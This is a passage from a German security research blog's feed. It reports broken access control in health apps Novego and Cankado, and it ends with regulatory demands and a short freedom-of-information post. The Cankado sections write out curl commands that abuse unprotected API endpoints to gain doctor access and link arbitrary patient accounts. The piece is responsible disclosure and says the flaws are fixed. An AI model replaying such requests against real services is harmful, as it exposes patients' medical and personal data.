&lt;p&gt;Damit sind die IDs wahrlich nicht schwer zu erraten, verschaffen aber Zugang zu höchst kritischen Daten.
Denn der Daten-Abruf über die frei zugängliche Schnittstelle enthielt alle Informationen, die über ein*e Nutzer*in bei Novego gespeichert sind, also&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;E-Mail-Adresse&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Username&lt;/strong&gt;: frei wählbar, aber häufig Vorname und Nachname&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Geschlecht&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;welches &amp;ldquo;&lt;strong&gt;Programm&lt;/strong&gt;&amp;rdquo; (wie z.B. Burn-Out, Depression, Angststörung) bei Novego absolviert wird&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ergebnisse eines Self-Assessments&lt;/strong&gt;: Ergebnis regelmäßiger Abfrage standardisierter psychologischer Fragebögen zum gesundheitlichen Zustand, die darüber Aufschluss geben sollen, ob bzw. wie depressiv ein*e Nutzer*in ist. Hier ein Beispiel-&lt;a href=&#34;https://adaa.org/sites/default/files/GAD-7_Anxiety-updated_0.pdf&#34;&gt;PDF&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&#34;shortcode-buerokratie-formular-field&#34;&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-title&#34;&gt;Notizen der durchführenden App-Arbeitsmediziner:&lt;/div&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-content&#34;&gt;Es ist gut und sinnvoll, diese Daten über die eigene Person abrufen zu können. Das hat allerdings auch fatale Folgen für andere Nutzer*innen, weil nur geprüft wird, &lt;em&gt;ob&lt;/em&gt; eine Person angemeldet ist, aber nicht als &lt;em&gt;wer&lt;/em&gt;.&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&#34;shortcode-buerokratie-formular-field&#34;&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-title&#34;&gt;OWASP10-Kategorie:&lt;/div&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-content&#34;&gt;&lt;a href=&#34;https://owasp.org/Top10/A01_2021-Broken_Access_Control/&#34;&gt;A01:2021-Broken Access Control&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&#34;shortcode-buerokratie-formular-field&#34;&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-title&#34;&gt;Preis:&lt;/div&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-content&#34;&gt;249,00 für 12 Wochen&lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;
&lt;style&gt;
	.shortcode-buerokratie-formular {
		border-top: 1px solid #e40d14;
		border-left: 1px solid #e40d14;
		border-right: 1px solid #e40d14;
		   
		width: calc(100% + 20px);
		margin-left: -11px;
		outline: 20px #fddde0 solid;
		margin-top: 40px;
		margin-bottom: 40px;
	}

	.shortcode-buerokratie-formular-field {
		border-bottom: 1px solid #e40d14;
		   
		 
	}
	
	.shortcode-buerokratie-formular-title {
		margin-top: 4px;
		margin-left: 12px;
		margin-right: 12px;
		font-size: 14px;
		font-weight: 700;
		font-family: monospace;
		color: #e40d14;
	}

	.shortcode-buerokratie-formular-content {
		margin-top: 4px;
		margin-left: 12px;
		margin-right: 12px;
		padding-bottom: 12px;
	}
&lt;/style&gt;
&lt;h2 id=&#34;cankado----diagnoseprotokoll-1&#34;&gt;Cankado &amp;ndash; Diagnoseprotokoll 1&lt;/h2&gt;
&lt;div class=&#34;shortcode-buerokratie-formular&#34;&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-field&#34;&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-title&#34;&gt;Name:&lt;/div&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-content&#34;&gt;&lt;a href=&#34;https://cancer.cankado.com/pro-react-onco/&#34;&gt;Cankado&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&#34;shortcode-buerokratie-formular-field&#34;&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-title&#34;&gt;Lebensraum:&lt;/div&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-content&#34;&gt;Zugelassen für &lt;a href=&#34;https://diga.bfarm.de/de/verzeichnis/961&#34;&gt;Brustkrebs-Patient*innen&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&#34;shortcode-buerokratie-formular-field&#34;&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-title&#34;&gt;Diagnose:&lt;/div&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-content&#34;&gt;&lt;p&gt;In der App Cankado können Brustkrebs-Patient*innen ihre Beschwerden selbst erfassen und so automatisch Empfehlungen bekommen, wie dringend diese mit Ärzt*innen abgeklärt werden sollten. Äußerst unpraktisch nur, dass sich jede*r als Ärzt*in ausgeben kann – in jeder Klinik – sogar wir.&lt;/p&gt;
&lt;p&gt;Und das geht so:
Als erstes müssen wir uns als Ärzt*in registrieren.
Das geht, indem wir uns auf &lt;code&gt;https://cankado.com/register/doctor&lt;/code&gt; über das Anmelde-Formular für Ärzt*innen einen Account anlegen.
Das alleine ist kein Problem. Aber das System muss später prüfen, dass wir nur Zugriff auf Datenbereiche haben, für die wir auch berechtigt sind. Es braucht also eine sinnvolle Zugriffskontrolle.&lt;/p&gt;
&lt;p&gt;Und auf den ersten Blick hat Cankado das auch vorbildlich getan:
Der Server von Cankado stellt verschiedene Schnittstellen bereit, über die die Website mit ihm kommuniziert.
Hier gibt es &lt;code&gt;/centers/&lt;/code&gt; für die Behandlungszentren und Krankhäuser, &lt;code&gt;/patients/&lt;/code&gt; für die Patient*innen, &lt;code&gt;/physicians/&lt;/code&gt; für die Ärzt*innen und so weiter.
Hier konnten wir auf den ersten Blick nur die Daten abrufen, die auch für uns zugänglich sein sollten.&lt;/p&gt;
&lt;p&gt;Aber dabei hat eine Schnittstelle gefehlt: Eine API, um die einzelnen Abteilungen eines &lt;code&gt;centers&lt;/code&gt; abzufragen.
Also haben wir scharf nachgedacht, wie so eine Schnittstelle heißen könnte. Und was heißt Abteilung auf Englisch? Department!&lt;/p&gt;
&lt;p&gt;Wir haben ins Blaue geraten und &lt;code&gt;https://api.cankado.com/departments/&lt;/code&gt; aufgerufen.
Und da waren plötzlich nicht mehr nur unsere eigenen Abteilungen – sondern ALLE.&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/p/datenabfluss-auf-rezept/worried.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/datenabfluss-auf-rezept/worried.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;p&gt;Und als wir analog zu den anderen Endpunkten versucht haben, Daten über die Schnittstelle zu bearbeiten, funktionierte auch das.
So konnten wir uns selbst in die Liste der Ärzt*innen, die in einer Abteilung arbeiten, eintragen.&lt;/p&gt;
&lt;p&gt;Alles was es dazu brauchte, war die &lt;code&gt;department_id&lt;/code&gt;, die wir ja aus der Liste aller Abteilungen kannten, und der Befehl:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;https://api.cankado.com/departments/{department_id}/&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;&lt;/span&gt;    -X &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;PATCH&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;&lt;/span&gt;    -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;Content-Type: application/json;charset=UTF-8&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;&lt;/span&gt;    -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;authorization: Bearer {BEARER_TOKEN}&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;&lt;/span&gt;    --data-raw &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;{&amp;#34;physicians&amp;#34;: [&amp;#34;{USER_ID}&amp;#34;]}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sobald man den Ärzt*innen-Status erreicht hat, ist es möglich, alle Daten für die Patient*innen der eigenen Abteilung abzurufen. Dazu gehören:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Name&lt;/li&gt;
&lt;li&gt;Adresse&lt;/li&gt;
&lt;li&gt;E-Mail-Adresse&lt;/li&gt;
&lt;li&gt;Passwort, im Klartext (Das war schon nicht mehr Stand der Technik, als Teile von zerforschung geboren wurden)&lt;/li&gt;
&lt;li&gt;Zugangstoken&lt;/li&gt;
&lt;li&gt;Diagnose&lt;/li&gt;
&lt;li&gt;Tagebuchdaten&lt;/li&gt;
&lt;li&gt;Arztberichte&lt;/li&gt;
&lt;li&gt;Messdaten&lt;/li&gt;
&lt;li&gt;Überweisungen&lt;/li&gt;
&lt;li&gt;sowie alle weiteren Daten, die von Ärzt*innen und Patient*innen erfasst wurden.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Insgesamt waren bei Cankado auf diesem Wege 12.500 Datensätze abrufbar – von Brustkrebs-Patient*innen, aber auch von anderen Nutzer*innen des Systems, die darüber zum Beispiel Medikamenten-Studien durchgeführt haben.&lt;/p&gt;
&lt;h3 id=&#34;wie-kann-das-sein&#34;&gt;Wie kann das sein?&lt;/h3&gt;
&lt;p&gt;Die Entwickler*innen von Cankado haben die Schnittstelle zum Zugriff auf die Abteilungen wohl im Anfangsstadium der App entwickelt, über die Zeit dann nicht mehr verwendet – und irgendwann schließlich vergessen, diese Schnittstelle abzuschalten. Auch bei Sicherheitsüberprüfungen muss sie übersehen worden sein.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&#34;shortcode-buerokratie-formular-field&#34;&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-title&#34;&gt;OWASP10-Kategorie:&lt;/div&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-content&#34;&gt;&lt;a href=&#34;https://owasp.org/Top10/A01_2021-Broken_Access_Control/&#34;&gt;A01:2021-Broken Access Control&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&#34;shortcode-buerokratie-formular-field&#34;&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-title&#34;&gt;Preis:&lt;/div&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-content&#34;&gt;ca. 500 Euro für 12 Wochen; &lt;a href=&#34;https://diga.bfarm.de/de/verzeichnis/961/fachkreise&#34;&gt;Cankado empfiehlt die dauerhafte Nutzung, gerne für 2 Jahre und mehr&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;
&lt;style&gt;
	.shortcode-buerokratie-formular {
		border-top: 1px solid #e40d14;
		border-left: 1px solid #e40d14;
		border-right: 1px solid #e40d14;
		   
		width: calc(100% + 20px);
		margin-left: -11px;
		outline: 20px #fddde0 solid;
		margin-top: 40px;
		margin-bottom: 40px;
	}

	.shortcode-buerokratie-formular-field {
		border-bottom: 1px solid #e40d14;
		   
		 
	}
	
	.shortcode-buerokratie-formular-title {
		margin-top: 4px;
		margin-left: 12px;
		margin-right: 12px;
		font-size: 14px;
		font-weight: 700;
		font-family: monospace;
		color: #e40d14;
	}

	.shortcode-buerokratie-formular-content {
		margin-top: 4px;
		margin-left: 12px;
		margin-right: 12px;
		padding-bottom: 12px;
	}
&lt;/style&gt;
&lt;h2 id=&#34;cankado----diagnoseprotokoll-2&#34;&gt;Cankado &amp;ndash; Diagnoseprotokoll 2&lt;/h2&gt;
&lt;div class=&#34;shortcode-buerokratie-formular&#34;&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-field&#34;&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-title&#34;&gt;Name:&lt;/div&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-content&#34;&gt;Name: Cankado (s.o.)&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&#34;shortcode-buerokratie-formular-field&#34;&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-title&#34;&gt;Lebensraum:&lt;/div&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-content&#34;&gt;s.o.&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&#34;shortcode-buerokratie-formular-field&#34;&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-title&#34;&gt;zuletzt vorstellig:&lt;/div&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-content&#34;&gt;vor 1 Monat&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&#34;shortcode-buerokratie-formular-field&#34;&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-title&#34;&gt;Diagnose:&lt;/div&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-content&#34;&gt;&lt;p&gt;Weil Cankado uns so große Sorgen bereitet hat, haben wir uns die App noch etwas weiter angeschaut, und dabei leider gleich noch mehr gefunden.&lt;/p&gt;
&lt;p&gt;Normalerweise können Patient*innen ihren Ärzt*innen Einblicke in ihre persönlichen Daten in der App gewähren. Das funktioniert so: Ärzt*innen geben ihren Patient*innen einen Code (&amp;ldquo;promotion_code&amp;rdquo;), den diese dann in ihre App eintragen. Sobald das passiert ist, werden die Patient*innen ihren Ärzt*innen zugeordnet und diese können die Daten einsehen. Das funktioniert – natürlich – über einen Aufruf einer Schnittstelle der App.&lt;/p&gt;
&lt;p&gt;Technisch funktioniert das dann so:
Die App des*r Patient*in ruft &lt;code&gt;https://api.cankado.com/patient/{PATIENT_ID}/extensions/&lt;/code&gt; mit der eigenen Patient*innen-ID auf und übergibt dabei den Code, den die Patient*innen von ihren Ärzt*innen bekommen haben.
Die ID ist hier sogar eine UUID4, die wir nicht einfach erraten können.&lt;/p&gt;
&lt;p&gt;Doch durch die vorherige &lt;del&gt;Lücke&lt;/del&gt; Diagnose kennen wir diese schon.&lt;/p&gt;
&lt;p&gt;Und außerdem überprüft der Server mal wieder nicht, ob die Patient*innen-ID auch unsere eigene ist.
Stattdessen können wir dort eine beliebige ID angeben und diese*r Patient*in wird dann der*m Ärzt*in zugeordnet.&lt;/p&gt;
&lt;p&gt;So können wir jetzt gleichzeitig Patientin und Ärztin spielen:
Zuerst generieren wir über den Ärzt*innen-Account einen Zuordnungs-Code.
Dann suchen wir uns eine reale Patient*innen-ID, geben uns als diese*r Patient*in aus und lösen den Code ein. Damit ist der echte Patient*innen-Account mit unserem Ärzt*innen-Account verknüpft und wir konnten problemlos auf die Daten &amp;ldquo;unserer&amp;rdquo; Patient*innen zugreifen.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Authorization: Bearer {TOKEN}&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;&lt;/span&gt;    --data-raw &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;{&amp;#34;promotion_code&amp;#34;:&amp;#34;0116d885&amp;#34;}&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;&lt;/span&gt;    https://api.cankado.com/patient/&lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;PATIENT_ID&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;/extensions/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Wie in Diagnoseprotokoll 1 beschrieben wurde, kennen wir ja mittlerweile die ID der Patient*innen – und haben damit auch Zugriff auf all ihre Daten. Neue Informationen über die Betroffenen bekommen wir also nicht. Trotzdem wird auch diese neu entdeckte Lücke ein Problem, sobald wir an die ID von Patient*innen kommen:&lt;/p&gt;
&lt;p&gt;Wir können uns zum Beispiel vorstellen, dass ein*e Patient*in entscheidet, Ärzt*innen keinen Zugriff auf die eigenen Daten mehr zu erlauben.
Mit dieser Lücke könnten sich die Ärzt*innen jedoch immer wieder Zugriff auf die Daten beschaffen, denn die ID ist ja schon bekannt.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&#34;shortcode-buerokratie-formular-field&#34;&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-title&#34;&gt;OWASP10-Kategorie:&lt;/div&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-content&#34;&gt;&lt;a href=&#34;https://owasp.org/Top10/A01_2021-Broken_Access_Control/&#34;&gt;A01:2021-Broken Access Control&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&#34;shortcode-buerokratie-formular-field&#34;&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-title&#34;&gt;Preis:&lt;/div&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-content&#34;&gt;Weiterhin ca. 500 Euro für 12 Wochen; Cankado &lt;a href=&#34;https://diga.bfarm.de/de/verzeichnis/961/fachkreise&#34;&gt;empfiehlt die dauerhafte Nutzung, gerne für 2 Jahre und mehr&lt;/a&gt;.&lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;
&lt;style&gt;
	.shortcode-buerokratie-formular {
		border-top: 1px solid #e40d14;
		border-left: 1px solid #e40d14;
		border-right: 1px solid #e40d14;
		   
		width: calc(100% + 20px);
		margin-left: -11px;
		outline: 20px #fddde0 solid;
		margin-top: 40px;
		margin-bottom: 40px;
	}

	.shortcode-buerokratie-formular-field {
		border-bottom: 1px solid #e40d14;
		   
		 
	}
	
	.shortcode-buerokratie-formular-title {
		margin-top: 4px;
		margin-left: 12px;
		margin-right: 12px;
		font-size: 14px;
		font-weight: 700;
		font-family: monospace;
		color: #e40d14;
	}

	.shortcode-buerokratie-formular-content {
		margin-top: 4px;
		margin-left: 12px;
		margin-right: 12px;
		padding-bottom: 12px;
	}
&lt;/style&gt;
&lt;h2 id=&#34;das-darf-nicht-so-bleiben&#34;&gt;Das darf nicht so bleiben&lt;/h2&gt;
&lt;p&gt;Wie immer haben wir die Sicherheitslücken schnell und vertraulich an die Hersteller gemeldet.
Alle hier beschriebenen Lücken sind nach deren Aussage geschlossen.&lt;/p&gt;
&lt;h2 id=&#34;da-muss-etwas-passieren&#34;&gt;Da muss etwas passieren&lt;/h2&gt;
&lt;p&gt;Es ist erschütternd wie egal Unternehmen die Sicherheit von Patient*innen-Daten zu sein scheint und mit welcher Leichtfertigkeit staatliche Stellen ihnen Zugang zu diesen Daten geben.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Patient*innendatensicherheit ist nicht optional.&lt;/strong&gt; Nicht etwas, das man noch &amp;ldquo;nachziehen&amp;rdquo; kann, nachdem eine App schon ein Jahr lang von Patient*innen benutzt wurde. Wenn eine App marktreif genug ist, um Patient*innen-Daten zu verarbeiten muss sie auch reif genug sein, diese für sich zu behalten. Daher sehen wir momentan keinen anderen Weg, als alle Apps, die noch keine ausreichenden Sicherheitsvorkehrungen implementiert haben, vorerst vom Markt zu nehmen.&lt;/p&gt;
&lt;p&gt;Appanbieter*innen sind auch heute bereits dazu verpflichtet, ihre Apps nach dem Stand der Technik umzusetzen.
Aus unserer Sicht bedeutet das konkret: Die Anwendungen dürfen die Daten der Nutzer*innen nicht mit anderen teilen, sondern diese soweit irgendwie möglich nur auf deren Endgeräten verarbeiten. Und wenn doch Kommunikation nötig ist, zum Beispiel zwischen Patient*innen und Ärzt*innen, dann muss diese Ende-zu-Ende verschlüsselt sein.&lt;/p&gt;
&lt;p&gt;Denn Ende-zu-Ende-Verschlüsselung ist heute schon der Standard in Messengern – von WhatsApp bis Signal. Somit ist aktuell die Familien-Chatgruppe besser geschützt als die Kommunikation zwischen Ärzt*innen und Patient*innen über diese Apps.&lt;/p&gt;
&lt;p&gt;Um hier jeglichen Interpretationspielraum auszuschließen, der Patient*innen-Daten gefährden könnte, muss dies zwingende Anforderung für &lt;strong&gt;alle&lt;/strong&gt; DiGA sein. Doch nur weitere Punkte in eine Checkliste aufzunehmen reicht nicht aus!&lt;/p&gt;
&lt;p&gt;Denn die Erfüllung dieser Checklisten muss auch überprüft und sanktioniert werden – und zwar jetzt! Und nicht irgendwann 2023, vielleicht.&lt;/p&gt;
&lt;p&gt;Daher muss das DiGA-Fast-Track-Programm in seiner jetzigen Form eingestellt werden.
Dieses ermöglicht Apphersteller*innen heute eine App ohne hinreichende Sicherheits- oder Wirksamkeitsprüfung auf den Markt zu bringen.
Ein Vorgehen das man sich in anderen Lebensbereichen garnicht vorstellen könnte. Wenn man ein Medikament vom Arzt verschrieben bekommt oder ein Auto kauft, erwartet man ja schließlich auch, dass dieses sicher ist und diese Sicherheit auch überprüft wird.&lt;/p&gt;
&lt;p&gt;Statt dass das BfArM als zuständige Regulierungsbehörde hier genau hinschaut, wird aktuell in die Eigenverantwortung der Hersteller vertraut.
Was dann passiert, habt ihr gerade gelesen.&lt;/p&gt;
&lt;h3 id=&#34;apps-alleine-machen-auch-nicht-glücklich-gesund&#34;&gt;Apps alleine machen auch nicht &lt;del&gt;glücklich&lt;/del&gt; gesund&lt;/h3&gt;
&lt;p&gt;Außerdem schließen wir uns der Forderung verschiedener Ärzt*innen- und Patient*innenverbände an, das nur Apps mit einem nachgewiesenen Nutzen von Krankenversicherungen bezahlt werden sollten. Denn wenn man schon Patient*innendaten in die Hand einer App gibt, dann sollte das wenigstens einen Versorgungsnutzen haben.&lt;/p&gt;
&lt;p&gt;Die gute Nachricht ist: Das Bundesamt für Sicherheit in der Informationstechnologie arbeitet gerade an neuen Sicherheitsstandards für DiGAs und wir hoffen, dass unsere Forderungen darin aufgenommen werden. Und zukünftig Unternehmen bei Verstößen gegen diese Regelungen konsequent sanktioniert werden.&lt;/p&gt;
&lt;p&gt;In einigen Bereichen sind die Regulierungen allerdings auch schon sehr gut. So können Apps bei Datenabflüssen von dem Bundesinistitut für Arzneimittel und Medizinprodukte ausgeschlossen oder mit Strafen belegt werden. Und Datenminimierung ist auch heute bereits eine Vorgabe in den Richtlinien. Allerdings werden diese Regeln noch nicht ausreichend durchgesetzt und es wirkt geradezu so, als gehören Datenabflüsse für die BfArM zum Alltagsgeschäft. Ohne jede Folge für die betroffenen Apphersteller*innen.&lt;/p&gt;
&lt;p&gt;Wir hoffen außerdem, dass Gesundheitsminister Lauterbach sich um die Versäumnisse seines Vorgängers kümmert und Digitale Gesundheitsapps sinnvoller reguliert und auch den Vollzug dieser Regelungen aktiv unterstützt. Denn die Digitalisierung des Gesundheitssektors kann viele Chancen bieten. Es ist aber gefährlich, sich das Vertrauen der Bürger*innen in die Digitale Gesundheitsversorgung durch mangelnde Sicherheitsstandards und Durchsetzung dieser zu verspielen.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Falls euch dieser Artikel gefallen hat, &lt;a href=&#34;https://zerforschung.org/unterstuetzen&#34;&gt;könnt ihr uns gerne unterstützen&lt;/a&gt;.
&lt;/div&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;Ab dem 1. April 2022 muss der Nachweis eines &amp;ldquo;Informationssicherheitsmanagementsystem (ISMS) gemäß ISO 27001 oder gemäß ISO 27001 auf der Basis von IT-Grundschutz (BSI-Standard 200-2: IT-Grundschutz-Methodik)&amp;rdquo; vorgelegt werden.
Weitere Vorgaben kommen dann erst nächstes Jahr:
Ab dem 1. Januar 2023 muss durch ein Zertifikat vom BSI nachgewiesen werden, dass die Anforderungen an die Datensicherheit erfüllt werden.
Ab dem 1. April 2023 dann auch, dass die Anforderungen an den Datenschutz erfüllt werden.
&lt;a href=&#34;https://www.gesetze-im-internet.de/digav/__7.html&#34;&gt;https://www.gesetze-im-internet.de/digav/__7.html&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Hier gibts keine Akten. Keine Schilder gibts nebenan</title>
      <link>https://zerforschung.org/posts/tempolimit-ifg/</link>
      <pubDate>Wed, 04 May 2022 18:00:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/tempolimit-ifg/</guid>
      <description>&lt;p&gt;Heute reden die Verkehrsminister*innen u.a. über Tempolimits – ein heiß umkämpftes Thema, gegen das sich Volker Wissing schon lange wehrt. Zuletzt behauptete er, es gäbe nicht genug Verkehrsschilder 🤪 Doch was weiß das Bundesministerium für Digitales und Verkehr? 🧵&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Wenn sich Wissing die fehlenden Schilder nicht nur ausgedacht hat, müsste es ja Dokumente dazu geben. Also haben wir &lt;a href=&#34;https://fragdenstaat.de/a/245597/&#34;&gt;beim Ministerium nachgefragt&lt;/a&gt;, was dazu bekannt ist.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Heute kam dann die Antwort:&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/p/tempolimit-ifg/FR7TUEiXIAAGPL9.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/tempolimit-ifg/FR7TUEiXIAAGPL9.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;hr&gt;
&lt;p&gt;&lt;a href=&#34;https://fragdenstaat.de/dokumente/153168/&#34;&gt;Im Ministerium weiß man nichts von Schildern&lt;/a&gt;, die zur Einführung eines Tempolimits fehlen. Keine Tempolimitschilder, keine Akten und nicht mal einen Andreas Scheuer, auf den man es schieben könnte… Was für Zustände 🤪&lt;/p&gt;
&lt;a href=&#34;https://zerforschung.org/p/tempolimit-ifg/FR7RXlxX0AEY2Qo.jpg&#34;&gt;
&lt;img src=&#34;https://zerforschung.org/p/tempolimit-ifg/FR7RXlxX0AEY2Qo.jpg&#34; alt=&#34;Es ergeht folgender Bescheid:
1. Es wird festgestellt, dass zu der von Ihnen erfragten Auskunft keine amtlichen Informationen vorliegen.
2. Der Bescheid ergeht auslagen- und gebührenfrei.
Begründung:
Jeder Anspruch auf Informationszugang setzt voraus, dass die begehrten Informationen bei den in Anspruch genommenen Stellen tatsächlich vorhanden sind (BVerwG NJW 2013, 2538 (2539)).
Da im BMDV keine amtlichen Informationen vorliegen, besteht insoweit kein Anspruch aus § 1 Abs. 1 IFG.&#34;&gt;
&lt;/a&gt;
&lt;hr&gt;
&lt;p&gt;Diese Antwort bekamen wir durch das Informationsfreiheitsgesetz. Solche Anfragen zu stellen ist dank &lt;a href=&#34;https://fragdenstaat.de/&#34;&gt;FragDenStaat&lt;/a&gt; (😍) für alle einfacher. Daher freuen sich nicht nur wir, sondern auch FragDenStaat sehr über eure Unterstützung: &lt;a href=&#34;https://fragdenstaat.de/spenden/&#34;&gt;https://fragdenstaat.de/spenden/&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer&lt;/strong&gt;: Teile von zerforschung arbeiten bei / mit FragDenStaat. 🤝&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Danke für die Blumen, aber wir brauchen staatliche IT-Kompetenz</title>
      <link>https://zerforschung.org/posts/schnelltesttest-statement/</link>
      <pubDate>Fri, 21 Jan 2022 18:45:00 +0100</pubDate>
      
      <guid>https://zerforschung.org/posts/schnelltesttest-statement/</guid>
